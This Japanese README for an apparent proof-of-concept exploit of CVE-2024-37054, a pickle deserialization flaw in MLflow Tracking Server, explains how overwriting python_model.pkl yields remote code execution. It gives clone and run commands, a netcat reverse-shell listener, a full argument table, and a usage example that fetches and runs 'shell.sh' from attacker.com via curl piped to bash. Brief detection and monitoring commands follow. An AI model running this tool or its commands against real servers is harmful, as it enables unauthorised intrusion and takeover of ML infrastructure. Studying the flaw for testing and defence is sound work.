
CVE-2024-37054の概念実証エクスプロイト。MLflow Tracking Serverにおけるpickle逆シリアル化RCEです。認証済みリモートコード実行のために、アーティファクトの上書きとペイロードの配信を自動化します。
MLflow Tracking Server における重大な pickle デシリアライゼーション脆弱性の概念実証エクスプロイト。認証されたリモートコード実行を可能にします。
⚠️ 教育および許可されたセキュリティテスト専用です。自分が所有していないシステムや、明示的な書面による許可を得ていないシステムに対して使用しないでください。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2024-37054 |
| CVSS スコア | 8.8 (HIGH) |
| CVSS ベクター | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 影響を受けるバージョン | MLflow < 2.14.3 |
| 修正済みバージョン | MLflow ≥ 2.14.3 |
| 脆弱性タイプ | CWE-502: 信頼できないデータのデシリアライゼーション |
| 攻撃ベクトル | ネットワーク |
| 必要な権限 | 低(有効な認証情報) |
| ユーザー操作 | 不要 |
MLflow Tracking Server は、推論のためにモデルをロードする際に、Python の pickle モジュールを介してモデルアーティファクトをデシリアライズします。認証された攻撃者は、MLflow のアーティファクトリポジトリ内の python_model.pkl アーティファクトを、悪意のある pickle ペイロードで上書きできます。その後、モデルがロードされる(例:予測リクエスト時)と、ペイロードがデシリアライズされ、サーバー上で任意のコードが実行されます。
悪用の前提条件:
悪用に成功すると、MLflow サーバープロセスの権限レベルでリモートコード実行が発生し、システム全体の侵害、データの流出、水平移動、永続的なアクセスにつながる可能性があります。
python_model.pkl アーティファクトを、PUT /api/2.0/mlflow-artifacts/artifacts/... を介して細工された pickle ペイロードで置き換えます。pickle.load() を呼び出します。__reduce__ メソッドが os.system() を呼び出し、攻撃者のコマンドを実行します。ペイロードは、cloudpickle ではなく os.system()(C 組み込み)を使用して、クロスバージョンの互換性を最大化し、Python バージョン固有のバイトコードの問題を回避しています。
必要条件: Python 3.7+、requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# リスナーを起動
nc -lvnp 4444
# エクスプロイトを実行
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# デフォルト認証情報、基本的なリバースシェル
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# カスタム MLflow 認証情報
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# アプリログイン + MLflow 認証情報
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# リバースシェルの代わりにカスタムコマンド
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# 特定の実験をターゲット、遅いサーバー用に遅延を増やす
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# 詳細出力
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
/api/2.0/mlflow-artifacts/artifacts/ エンドポイントへの PUT リクエストpython_model.pkl の予期しない変更タイムスタンプPOST /api/2.0/mlflow/runs/search の直後にアーティファクトの変更が発生os.system() 呼び出し# アクセスログ内のアーティファクト変更
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# ファイル整合性監視
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
即時対応:
長期的対応:
このツールは以下の目的のみを意図しています:
自分が所有していないシステムや、明示的な書面による許可を得ていないシステムでこのツールを使用しないでください。作者は誤用に対して一切の責任を負いません。
MIT — 詳細は LICENSE を参照してください。
| 引数 | 説明 |
|---|
target | ターゲットアプリケーションの URL |
mlflow | MLflow Tracking Server の URL |
lhost | リバースシェルコールバック用の攻撃者ホスト |
lport | リバースシェルコールバック用の攻撃者ポート |
--mlflow-creds USER:PASS | MLflow 認証情報(デフォルト: admin:password) |
--app-username | アプリケーションログインユーザー名 |
--app-password | アプリケーションログインパスワード |
--app-login-url | ログインエンドポイントのパス |
--upload-url | アップロードエンドポイントのパス |
--predict-url | 予測エンドポイントのパス |
--experiment-id ID | 特定の実験 ID をターゲット |
--delay SECONDS | ステップ間の遅延(デフォルト: 2s) |
--cmd COMMAND | 実行するカスタムコマンド |
--verbose / --quiet | 出力の冗長性制御 |
--no-color | 色付き出力を無効化 |